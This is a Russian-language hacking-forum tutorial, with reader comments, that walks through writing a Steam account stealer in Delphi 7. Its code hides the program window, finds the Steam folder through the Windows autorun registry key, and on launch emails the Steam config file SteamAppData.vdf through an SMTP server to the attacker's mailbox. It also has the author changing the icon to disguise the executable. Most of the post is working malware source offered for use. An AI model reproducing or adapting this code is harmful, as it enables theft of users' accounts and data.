Как создать стиллер Steam в Delphi 7

Привет пользователям youhack.top. С вами LulzGhost, в этой статье я покажу то, как простейшим образом написать стиллер Steam.
Вес нашего стиллера будет состовлять около: ~800кб. Для начала нам надо найти папку со стимом, а после того как нашли отправляем файл.
В настройках Project добавьте эту строку:

Code:

Application.ShowMainForm:= False;

Теперь нам придётся поработать с реестром, в Uses добавим: Registry
Добавьте так-же компонент: IndyMisc -> IdAntiFreeze

Добавим глобальные переменные:

Code:

var
Form1: TForm1;
 m:TIdMessage;
 sm:tidsmtp;
 att:tidattachment;

Далее, нам надо создать саму процендуру для отправки файла.

Code:

procedure send(pathSteam, login, pass, kuda:string);
begin
m:=TIdMessage.create(form1);
m.From.Text:=login;    //логин отправителя
m.Recipients.Add;
m.Recipients.Items[0].Text:=kuda; // Кому
m.Subject:='Привет мой друг';// тема
m.Body.Text:='Это тебе ;)';// текст
sm:=tidsmtp.Create(form1);
sm.AuthenticationType := atLogin;
sm.Host:='smtp.mail.ru'; //smtp-адрес
att:=TIdAttachment.Create(m.MessageParts,pathSteam);
sm.Username:=login; //логин отправителя
sm.Password:=pass;  //пароль отправителя
sm.Connect();
if sm.Connected then
   begin
    sm.Send(M);
   end;
sm.Disconnect;
att.Free;
sm.Free;
end;

Эта функция будет открывать раздел со стимом в реестре, и оттуда тырить ключи.

Code:

function ReadReg(root:integer; t,key:string):string;
var
 s:string;
 reg: TRegistry;
begin
 reg := TRegistry.Create;
 reg.RootKey := root;
 reg.OpenKey(key, true);
 case reg.Getdatatype(t) of
  rdString, rdExpandString:
  s:= reg.ReadString(t);
  rdInteger:
   s:= IntToStr(reg.readinteger(t));
  else
   s:='other type';
  end;
   result:=s;
   reg.Free;
end;

Функция парсинга:

Code:

function Pars(TextIn, Text, TextOut: string): string;
var
  TempStr: string;
begin
  Result := '';
  TempStr := Text;
  TempStr := Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
  Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
  Result := TempStr;
end;

Кликаем 2-раза попустому месту, и в этой процедуре: OnCreate добавляем следующее:

Code:

procedure TForm1.FormCreate(Sender: TObject);
var
 regpath, path:string;
 begin
 regpath:=ReadReg(HKEY_CURRENT_USER,'Steam','\Software\Microsoft\Windows\CurrentVersion\Run'); //Переходим к разделу где находятся все программы на автозапуске
 path:=Pars('"',regpath, '"'); //Парсим директорию где находится стим
 path:=ExtractFilePath(path)+'config\SteamAppData.vdf'; //Применяем к найденной директории + еще "config\SteamAppData.vdf"
 send(path, 'логин@mail.ru', 'пароль', 'Куда слать@mail.ru'); //Ну и отправляем этот файл
end;

Далее, нам надо изменить икноку программы:
Сохраниете сам проект в любую папку, и далее сделайте следуюшее:
1. Ctrl+Shift+F11
2. Вкладка Application(s)
3. И там выбирайте нужную вам иконку, через обзор.
Осталось еще раз скомпилировать наш стиллер: F8 и всё!
Надеюсь было интересно и не очень много букв)))
ЗЫ Ворует только сохранённые пароли

 

спс

 

Молодец, спасибо за "статью"

 

Не за что

 

Спасибо.
Даст ссылочку кто на Delphi

 

half2, вот бери Delphi 7(клац)

 

Совпадение, уже как пару минут качаю именно от туда.

 

Молодчина ))Отличная статья)

 

half2, я тоже много чего качаю от туда)

 

Ктонить смог уже сделать?

 

Я еще что то много чего не понял, а есть какоенебуть видео?

 

subluker, видео нет так как лень и много дел чтобы сделать

 

хм, так то круто, но вроде в этом файле хранится онли логин, нет? Зашел по этому адресу, там онли логин(хотя в стиме пасс сохранен,и входит автоматом)